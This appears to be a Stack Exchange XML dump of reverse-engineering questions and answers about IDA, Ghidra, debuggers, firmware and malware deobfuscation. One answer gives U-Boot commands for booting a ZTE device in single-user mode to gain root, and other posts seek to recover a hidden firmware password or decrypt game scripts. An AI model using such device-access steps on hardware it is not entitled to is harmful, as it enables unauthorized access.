  <row Id="25904" PostTypeId="2" ParentId="25903" CreationDate="2020-09-16T06:37:08.723" Score="0" Body="&lt;p&gt;I found that I can convert the address to one line.&lt;br /&gt;&#xA;This is before:&lt;br /&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/mDw2h.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mDw2h.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If I put the cursor on &lt;code&gt;68h&lt;/code&gt; and press in the keyboard &lt;code&gt;d&lt;/code&gt; it add it to one line and complete it like that:&lt;br /&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/offqF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/offqF.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Another thing, the address was incorrect, it was &lt;code&gt;0044DF68&lt;/code&gt; and &lt;strong&gt;not&lt;/strong&gt; &lt;code&gt;680df44&lt;/code&gt;.&lt;br /&gt;&#xA;So I can just jump to this address by pressing the &lt;code&gt;g&lt;/code&gt; key and type the address &lt;code&gt;0044DF68&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18080" LastActivityDate="2020-09-16T06:37:08.723" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25905" PostTypeId="1" CreationDate="2020-09-16T06:46:56.697" Score="1" ViewCount="121" Body="&lt;p&gt;I tried to use IDA Pro to load a binary file. IDA detected it as a .NET file:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Wgdon.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wgdon.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;but when I click OK to load the program, the following error occured, and the program can't be loaded:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ANjmc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ANjmc.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I tried to google the error message, but found no answer. Please help me to load this file. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="34409" LastActivityDate="2020-09-16T06:46:56.697" Title="Failed to load .net binary on IDA Pro" Tags="|ida|.net|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25907" PostTypeId="1" CreationDate="2020-09-16T12:32:51.527" Score="1" ViewCount="828" Body="&lt;p&gt;from past few days i am fiddling with the firmware file of dvb s2 receiver of gx6605s processor.&#xA;my preliminary purpose is to &lt;em&gt;&lt;strong&gt;read the hidden menu password&lt;/strong&gt;&lt;/em&gt; for given firmware.(password used to hide-unhide menu)&#xA;Dump.bin extraction gives 7 other bin files boot.bin,data.bin,info.bin,kernel.bin,logo.bin,root.bin,table.bin..&lt;/p&gt;&#xA;&lt;p&gt;Kernel.bin is lzma compressed so using a hex editor i removed the lzma header to search the menu password but could'nt find it may be due to a lay man's approach.I also used binwalk with various commands to further extract the fragments but now clueless what to do next.&#xA;I request the group members to help me &amp;amp; guide me in choosing the appropriate approach.&#xA;Thank you..&lt;/p&gt;&#xA;&lt;p&gt;firmware link is shared below&#xA;&lt;a href=&quot;https://drive.google.com/file/d/1c2SyGaHu5I9P1jRCWKQomAYNQBYbgmg4/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/1c2SyGaHu5I9P1jRCWKQomAYNQBYbgmg4/view?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34398" LastEditorUserId="34398" LastEditDate="2020-09-16T22:22:11.660" LastActivityDate="2020-09-16T22:22:11.660" Title="c-sky family based gx6605 firmware analysis to read data" Tags="|firmware-analysis|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25908" PostTypeId="1" AcceptedAnswerId="25909" CreationDate="2020-09-16T14:11:35.413" Score="1" ViewCount="583" Body="&lt;p&gt;The code under inspection is a native Android library used in an Android application.&#xA;The decompiler is showing me a lot of lines in the style &lt;code&gt;DAT_12345678 = 0x12345678&lt;/code&gt; with ascending addresses.&#xA;I know that this is the initialization of an uninitialized array.&lt;/p&gt;&#xA;&lt;p&gt;When I want to set the data type, I get the error message &lt;code&gt;Address not found in program memory.&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I guess I have to create a memory block first, but in the &lt;code&gt;Memory Map&lt;/code&gt; window I do not see an option to add blocks.&lt;/p&gt;&#xA;&lt;p&gt;How can I fix that? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="14413" LastActivityDate="2020-09-16T14:43:53.870" Title="How to create an uninitialized variable in Ghidra?" Tags="|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25909" PostTypeId="2" ParentId="25908" CreationDate="2020-09-16T14:36:02.630" Score="3" Body="&lt;p&gt;You can add an uninitialized block of memory in the &lt;code&gt;Memory Map&lt;/code&gt; window. Hit the little green &amp;quot;Add a new block to memory&amp;quot; button.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3JO1P.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3JO1P.png&quot; alt=&quot;Add a new block button&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Change the start address to an area not currently mapped, specify the length of the block you wish to allocate, and select &lt;code&gt;Uninitialized&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tkygl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tkygl.png&quot; alt=&quot;menu&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21876" LastEditorUserId="21876" LastEditDate="2020-09-16T14:43:53.870" LastActivityDate="2020-09-16T14:43:53.870" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25910" PostTypeId="1" AcceptedAnswerId="26718" CreationDate="2020-09-16T16:03:18.360" Score="1" ViewCount="4557" Body="&lt;p&gt;&lt;img src=&quot;https://cdn.discordapp.com/attachments/598608711186907150/755818335987564655/unknown.png&quot; alt=&quot;Ghidra Window&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is very small and inconvenient to read. How do i open new Window (any shortcut key) or resize it, for some reason i cant resize.&#xA;Any help?&lt;/p&gt;&#xA;&lt;p&gt;EDIT: Oh thanks Shane Riley, i clicked the blue button and suddenly it opened a new dialog box this is what i wanted. Then when i clicked closes, the Ghidra looks like this and i got my answer, the blue Cf like thing opened new dialog box&#xA;&lt;a href=&quot;https://i.stack.imgur.com/wS7Qy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wS7Qy.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34414" LastEditorUserId="34414" LastEditDate="2020-09-16T16:17:34.440" LastActivityDate="2021-01-06T14:55:32.550" Title="How to open new window of decompiler or resize the decompiler of Ghidra?" Tags="|debugging|elf|ghidra|binary|decompiler|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="25911" PostTypeId="1" CreationDate="2020-09-16T16:36:23.130" Score="1" ViewCount="45" Body="&lt;p&gt;I'm currently working on a modding library for a particular game, and I have come across a part of the menu system that I can't figure out the purpose of.&lt;/p&gt;&#xA;&lt;p&gt;The expression in question is this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;unsigned num = ((n + 1) * 4) / 3 + 3;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The game then goes on to use the value to allocate space for menu item structures:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;void *newItemStorage = allocate(num * 0x18);&#xA;&#xA;// 0x18 = sizeof(menu item structure)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;code&gt;n&lt;/code&gt; is the number of menu item structures there are currently, and the code containing this maths is used to allocate space for more structures when there is not currently enough (the old array is copied into the new space with &lt;code&gt;memcpy&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;From what I can tell, this system must be allocating more space than it needs so that fewer reallocations need to happen in the future. However, I don't see why this particular formula must be used to work out the space. The game stores &lt;code&gt;num&lt;/code&gt; and only reallocates again when &lt;code&gt;num &amp;lt; n + 1&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I actually graphed the formula when I was working out what it did, so &lt;a href=&quot;https://www.desmos.com/calculator/k4pnfxo9wc&quot; rel=&quot;nofollow noreferrer&quot;&gt;here is that graph&lt;/a&gt;. (I used &lt;code&gt;floor&lt;/code&gt; to try to simulate integer division.) One of the parts I find most confusing is the fact that &lt;code&gt;num&lt;/code&gt; is in groups of three:&lt;/p&gt;&#xA;&lt;p&gt;Starting at &lt;code&gt;n = 0&lt;/code&gt; and increasing by 1 yields:&#xA;&lt;code&gt;4, 5,  7, 8, 9,  11, 12, 13&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If this &lt;em&gt;is&lt;/em&gt; some system for preallocating memory, why is it being done like this? If not, what is the system doing?&lt;/p&gt;&#xA;" OwnerUserId="34416" LastActivityDate="2020-09-16T16:36:23.130" Title="Strange memory allocation behaviour" Tags="|memory|static-analysis|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25913" PostTypeId="1" CreationDate="2020-09-16T19:19:13.813" Score="0" ViewCount="795" Body="&lt;p&gt;(Cross-posted from Stack Overflow)&lt;/p&gt;&#xA;&lt;p&gt;Are there any debuggers that constantly show a visual of the stack and where everything is within it? For example, taking some random image:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zE81T.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zE81T.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I use &lt;code&gt;gdb&lt;/code&gt; for most debugging/learning, and while it does show the registers, I have to do something like &lt;code&gt;x/8gx $rbp-32&lt;/code&gt; everytime I want to see the stack -- and from that I usually figure out how I want the data to show.&lt;/p&gt;&#xA;&lt;p&gt;Are there any debuggers that make this information friendlier and more visual? I am very, very new to asm and the visual does help when debugging the information. (I'm hoping some off-the-shelf product such as Hopper, IDA, x86db, etc.)&lt;/p&gt;&#xA;" OwnerUserId="34390" LastActivityDate="2020-09-19T04:51:43.767" Title="ASM Debuggers that visualize the stack (beginner friendly)" Tags="|disassembly|assembly|debuggers|stack|stack-variables|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25914" PostTypeId="2" ParentId="25913" CreationDate="2020-09-16T21:08:43.823" Score="2" Body="&lt;p&gt;I assume you are using *nix based systems since you mentioned &lt;code&gt;gdb&lt;/code&gt;. If you just want to print the stack/registers when you hit a break point, you can use &lt;code&gt;command&lt;/code&gt; to set up some print statements. See &lt;a href=&quot;https://sourceware.org/gdb/current/onlinedocs/gdb/Break-Commands.html#Break-Commands&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Installing &lt;a href=&quot;https://github.com/pwndbg/pwndbg&quot; rel=&quot;nofollow noreferrer&quot;&gt;pwndbg&lt;/a&gt; makes it a lot less exhausting as it prints out the stack and registers every time you step, with  labels on the stack identifying &lt;code&gt;rbp&lt;/code&gt; and &lt;code&gt;rsp&lt;/code&gt;. Additionally there are tools like &lt;a href=&quot;https://github.com/hugsy/gef&quot; rel=&quot;nofollow noreferrer&quot;&gt;GEF&lt;/a&gt; and &lt;a href=&quot;https://github.com/longld/peda&quot; rel=&quot;nofollow noreferrer&quot;&gt;PEDA&lt;/a&gt; that are similar, but I don't have any firsthand experience with them.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/bGeAy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bGeAy.png&quot; alt=&quot;pwndbg&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Additionally, there are a few debuggers with GUIs, if that is what you are looking for:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.gnu.org/software/ddd/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ddd&lt;/a&gt;: graphical front end for &lt;code&gt;gdb&lt;/code&gt;, but you'll still see the stack as a list of values.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/eteran/edb-debugger&quot; rel=&quot;nofollow noreferrer&quot;&gt;edb&lt;/a&gt;: similar to &lt;code&gt;ollydbg&lt;/code&gt;, but for Linux.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/cs01/gdbgui&quot; rel=&quot;nofollow noreferrer&quot;&gt;gdbgui&lt;/a&gt;: browser based frontend for &lt;code&gt;gdb&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="21876" LastEditorUserId="21876" LastEditDate="2020-09-18T12:31:11.980" LastActivityDate="2020-09-18T12:31:11.980" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25915" PostTypeId="1" CreationDate="2020-09-16T21:12:05.507" Score="0" ViewCount="60" Body="&lt;p&gt;I have 2 groups of 4 byte and from this i have to get a key that have 6 byte.&#xA;Im trying to get the algorithm but i cant in any way.&#xA;The 1st group have only one bit different from the 2nd one.&#xA;Idk if i have to extract the 1st or the second key, but i think the 1st one.&lt;/p&gt;&#xA;&lt;p&gt;1st group 4byte: &lt;code&gt;0x6339959F&lt;/code&gt;&lt;br /&gt;&#xA;2nd group 4byte: &lt;code&gt;0x6339959E&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;1st group keys:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0x38A39FE39EF5&#xA;0x296A852D73EA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;2nd group keys:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0x39BF16EACF1A&#xA;0x28760C242205&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;i let a another group and relative keys:&lt;br /&gt;&#xA;group: &lt;code&gt;0x66CF0824&lt;/code&gt;&lt;br /&gt;&#xA;keys:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0x92252BCADB80&#xA;0x83EC3104369F&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34418" LastActivityDate="2020-09-16T21:12:05.507" Title="Reverse engineering algorithm for get keys" Tags="|encryption|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25917" PostTypeId="1" CreationDate="2020-09-17T09:27:46.523" Score="3" ViewCount="5875" Body="&lt;p&gt;When disassembling ARM binaries in Ghidra, I often see these warnings:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;                /* WARNING: Could not recover jumptable at 0x0747c198. Too many branches */&#xA;                /* WARNING: Treating indirect jump as call */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What do they mean? What's the underlying architectural concept I should learn about to understand the cause of these issues?&lt;/p&gt;&#xA;&lt;p&gt;Here's an example from a real program, seen in Ghidra's disassembly:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    if (param_2 == 0x78) {&#xA;                /* WARNING: Could not recover jumptable at 0x0747c198. Too many branches */&#xA;                /* WARNING: Treating indirect jump as call */&#xA;      uVar3 = (*DAT_0747c19c)();&#xA;      return uVar3;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34422" LastActivityDate="2022-03-22T23:26:57.107" Title="What do these 2 Ghidra warnings mean?" Tags="|ida|disassembly|arm|ghidra|exploit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25918" PostTypeId="2" ParentId="25885" CreationDate="2020-09-17T09:57:25.487" Score="1" Body="&lt;p&gt;Nobody is going to publish their source code for active ransomware, there are various reasons for that:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Its a business and the author makes money from it, and by giving away the source code there is a competitor. Of course that is not wanted&lt;/li&gt;&#xA;&lt;li&gt;It is possible that someone will find weaknesses, obviously that is possible for binaries aswell but usually it's easier with the source code, that could allow decryption without paying&lt;/li&gt;&#xA;&lt;li&gt;If it's &amp;quot;only for educational purposes&amp;quot; it will get abused. I'm 100% sure on that one, so this has to be considered aswell&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;A few years ago I saw a sample ransomware on GitHub, maybe that is a good starting point.&lt;/p&gt;&#xA;" OwnerUserId="33683" LastActivityDate="2020-09-17T09:57:25.487" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25919" PostTypeId="2" ParentId="25917" CreationDate="2020-09-17T12:21:28.280" Score="7" Body="&lt;p&gt;From &lt;a href=&quot;https://ghidra.re/courses/GhidraClass/Advanced/improvingDisassemblyAndDecompilation.pdf&quot; rel=&quot;noreferrer&quot;&gt;Ghidra.re&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Sometimes you will see warnings in the decompiler view stating that there are too many branches to recover a jumptable.&#xA;One reason for this is that there actually is a jump table, but the decompiler can’t determine bounds on the switch variable&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;For your example, this is saying there may a jump table (which is really just an array of pointers), but the decompiler can't figure out what the different possibilities for &lt;code&gt;param2&lt;/code&gt; are.&lt;/p&gt;&#xA;&lt;p&gt;Ghidra recommends:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;In such cases, you can add the jump targets manually and then run the script SwitchOverride.java.&#xA;Note: To ﬁnd such locations in a program, run the script FindUnrecoveredSwitchesScript.java.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="21876" LastActivityDate="2020-09-17T12:21:28.280" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25920" PostTypeId="1" CreationDate="2020-09-17T16:28:58.373" Score="0" ViewCount="869" Body="&lt;p&gt;I am learning more about binary exploitation on windows. But I saw while revering a binary that you can create static binaries in windows too just like in Linux. It was really ugly. if I would be on Linux, I could just use the file command to know if it is dynamic or static. but now I am in windows and do I have some way to know if the binary is static before reversing it.&lt;/p&gt;&#xA;" OwnerUserId="33863" LastActivityDate="2020-09-19T13:44:14.883" Title="Static Binary in Windows" Tags="|windows|binary-analysis|static-analysis|patch-reversing|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25921" PostTypeId="1" CreationDate="2020-09-17T16:55:03.737" Score="2" ViewCount="2337" Body="&lt;p&gt;I'm trying to decrypt LUA scripts from cocos2dx game (for wiki).&#xA;In most cases, it's XXTEA based, but not in this case.&lt;/p&gt;&#xA;&lt;p&gt;The game itself:&#xA;&lt;a href=&quot;https://apkpure.com/might-magic-era-of-chaos/com.ubisoft.might.magic.heroes.fantasy.rpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://apkpure.com/might-magic-era-of-chaos/com.ubisoft.might.magic.heroes.fantasy.rpg&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I'm tried to use Frida. Works fine in Android emulator, not a problem to attach and check some methods calls with parameters.... but some methods are not detected, looks like protection hides them.&#xA;Interesting, but all lua files are starting with &amp;quot;16c652b86b5b0bc516920e6cd3c3a074&amp;quot; (16 bites) prefix, but it's not a key for XXTEA algo.&lt;/p&gt;&#xA;" OwnerUserId="33135" LastEditorUserId="245" LastEditDate="2021-05-06T15:09:37.573" LastActivityDate="2023-03-02T03:19:55.613" Title="Decode lua scripts for cocos2d based game / frida, android" Tags="|android|frida|lua|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25922" PostTypeId="2" ParentId="19324" CreationDate="2020-09-17T21:34:59.897" Score="0" Body="&lt;p&gt;Almost two years later I had to do it again and this time I documented my process!&#xA;Looks like U-Boot has a script (probably custom for ZTE) that scans the NAND memory in search for an image and then loads it in memory. This part is visible in logs here:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;search.c,372,do_search: search-&amp;gt;result[index].entry = 0x200100&#xA;search.c,372,do_search: search-&amp;gt;result[index].entry = 0x1600100&#xA;do_search ending&#xA;do_startup() start&#xA;select=0x1&#xA;search-&amp;gt;result[select].entry=1600100&#xA;search-&amp;gt;result[1].entry = 0x1600100&#xA;do_startup() ending&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I'm not sure how I can call this script but I managed to load the image manually. First I took note of the addresses: image in flash:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;search-&amp;gt;result[select].entry=1600100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and memory where it's jumped to:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;## Booting kernel from Legacy Image at 02000100 ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As loading has to be aligned with the page, I ended up loading from &lt;code&gt;0x1600000&lt;/code&gt; into &lt;code&gt;0x2000000&lt;/code&gt;. Only missing part was the size for the &lt;a href=&quot;https://www.denx.de/wiki/view/DULG/UBootCmdGroupNand&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;nand load&lt;/code&gt;&lt;/a&gt; command but I assumed the whole partition would be enough so I just took the value from &lt;code&gt;mtdparts&lt;/code&gt; command and ended up with:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; nand read 0x2000000 0x1600000 0x1400000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now with the image loaded I could just &lt;code&gt;run bootcmd&lt;/code&gt; but I wanted to gain root access so I made a small tweak to the &lt;code&gt;bootargs&lt;/code&gt; by adding &lt;code&gt;single&lt;/code&gt; to boot it in single user mode:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; setenv bootargs console=ttyS0,115200 root=/dev/ram0 rw load_ramdisk=1 rdinit=/sbin/init mv_switch_config=none memsize=$(memsize) mem=$(memsize) single&#xA;&amp;gt; bootm 0x2000100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I hope this answer is useful for the two people who upvoted this question and for any &lt;a href=&quot;https://xkcd.com/979/&quot; rel=&quot;nofollow noreferrer&quot;&gt;future visitor&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="25644" LastActivityDate="2020-09-17T21:34:59.897" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25925" PostTypeId="2" ParentId="25486" CreationDate="2020-09-18T10:10:33.263" Score="2" Body="&lt;p&gt;Yes, it's true. So far, Frida 12.11.14 does not support it.&lt;/p&gt;&#xA;&lt;p&gt;You can check &lt;a href=&quot;https://www.slideshare.net/cisoplatform7/one-step-ahead-of-cheaters-instrumenting-android-emulators&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.slideshare.net/cisoplatform7/one-step-ahead-of-cheaters-instrumenting-android-emulators&lt;/a&gt;&#xA;not sure if it's working...&lt;/p&gt;&#xA;" OwnerUserId="33135" LastActivityDate="2020-09-18T10:10:33.263" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25926" PostTypeId="1" CreationDate="2020-09-18T14:50:52.713" Score="2" ViewCount="251" Body="&lt;p&gt;I have a dataset of .ASM files generated by IDA (dont have the corresponding file)&lt;/p&gt;&#xA;&lt;p&gt;‌And there are a lot of calls like this :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.text:00637114 5F                                  pop     edi&#xA;.text:00637115 33 C0                                   xor     eax, eax&#xA;.text:00637117 FF 14 45 04 87 63 00                        call    ds:GetModuleHandleA[eax*2]&#xA;.text:0063711E 57                                  push    edi&#xA;.text:0063711F                                     db      3Eh&#xA;.text:0063711F 3E C2 00 00                             retn    0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have never seen something like call ds:apicall[registry*constant] in IDA disassembly  itself, what does this even mean? why is eax getting multiplied by two within a call instruction and its in brackets after the api name? it can't be the input to the api  since its not getting pushed to stack(its x86). i thought near call instructions (FF) only have the offset in their operand, this is really confusing me, what does IDA mean when it says &lt;strong&gt;call ApiCall[registry * constant]&lt;/strong&gt; ?&lt;/p&gt;&#xA;&lt;p&gt;EDIT1:&lt;/p&gt;&#xA;&lt;p&gt;this is a &amp;quot;normal&amp;quot; type of api call in .asm files :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.text:00402ACD 8B CB                                   mov     ecx, ebx&#xA;.text:00402ACF 68 B8 9B 64 00                              push    offset WndClass ; lpWndClass&#xA;.text:00402AD4 FF 15 44 41 63 00                           call    ds:RegisterClassA&#xA;.text:00402ADA 8D 4D 70                                lea     ecx, [ebp+68h+hInstance]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28173" LastEditorUserId="28173" LastEditDate="2023-05-28T07:13:42.450" LastActivityDate="2023-05-28T07:13:42.450" Title="What is the meaning of call ds:ApiName[registry*constant] in IDA .asm files?" Tags="|ida|windows|c|pe|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25927" PostTypeId="1" CreationDate="2020-09-18T19:55:58.567" Score="1" ViewCount="2177" Body="&lt;p&gt;I have a VBScript (.vbs) file that is a malware dropper. It executes correctly in a commercial malware sandbox. but does not act the same in my manual analysis lab, and I need to figure out why. The script is heavily obfuscated (i.e. not simply using &lt;code&gt;execute&lt;/code&gt;), and I don't know how to begin to analyze it.&lt;/p&gt;&#xA;&lt;p&gt;So far, i've tried the open source tool ViperMonkey, put it failed to trace the script.&lt;/p&gt;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="34439" LastActivityDate="2022-12-18T10:03:45.397" Title="How can I de-obfuscate a VBScript (.vbs) file?" Tags="|malware|deobfuscation|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25928" PostTypeId="2" ParentId="25913" CreationDate="2020-09-19T04:51:43.767" Score="1" Body="&lt;p&gt;Borland's Turbo Debugger also has a text-window-based UI, with the stack in its own window and showing which values in which locations.  It doesn't tell you what those values represent, but at least it's always visible.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2020-09-19T04:51:43.767" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25930" PostTypeId="1" CreationDate="2020-09-19T12:40:04.153" Score="0" ViewCount="131" Body="&lt;p&gt;I was studying the code for x86-16 operating systems(como DOS),with a desassembler, but I can't find the intel manual on the intel website:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.google.com/search?q=Intel%208086%20Family%20User%27s%20Manual%20October%201979&amp;amp;oq=Intel%208086%20Family%20User%27s%20Manual%20October%201979&amp;amp;aqs=chrome.0.69i59.3882j0j9&amp;amp;sourceid=chrome&amp;amp;ie=UTF-8&quot; rel=&quot;nofollow noreferrer&quot;&gt;Searching on google, only unofficial sources&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Perhaps the manual is from 1979, and probably released in print, and they didn't want to have work releasing on the internet? Or removed from the site for convenience to encourage x86-32 and x86-64 assembly programming?&lt;/p&gt;&#xA;&lt;p&gt;Supposed manual: &lt;a href=&quot;http://https:%20//edge.edx.org/c4x/BITSPilani/EEE231/asset/8086_family_Users_Manual_1_.pdfv&quot; rel=&quot;nofollow noreferrer&quot;&gt;Intel 8086 Family User's Manual October 1979&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="34203" LastActivityDate="2020-09-19T13:33:52.427" Title="Where are the intel manual x86-16?" Tags="|disassembly|assembly|x86|operating-systems|intel|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25931" PostTypeId="2" ParentId="25930" CreationDate="2020-09-19T13:33:52.427" Score="1" Body="&lt;p&gt;The Intel processors still support 16-bit real mode so the latest manuals do describe it as well, although not as prominently as protected or long mode. Look for mentions of “Real-Address or Virtual-8086 Mode”.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-09-19T13:33:52.427" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="25932" PostTypeId="2" ParentId="25920" CreationDate="2020-09-19T13:44:14.883" Score="2" Body="&lt;p&gt;Unlike Linux, syscall numbers can and do change between Windows versions, so any program using raw syscalls would not run properly on a different OS release. The only officially supported API is provided by the system DLLs such as &lt;code&gt;kernel32.dll&lt;/code&gt;, &lt;code&gt;user32.dll&lt;/code&gt; and so on. So while fully static Windows binaries are possible, they are not practical and so are very rare.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-09-19T13:44:14.883" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
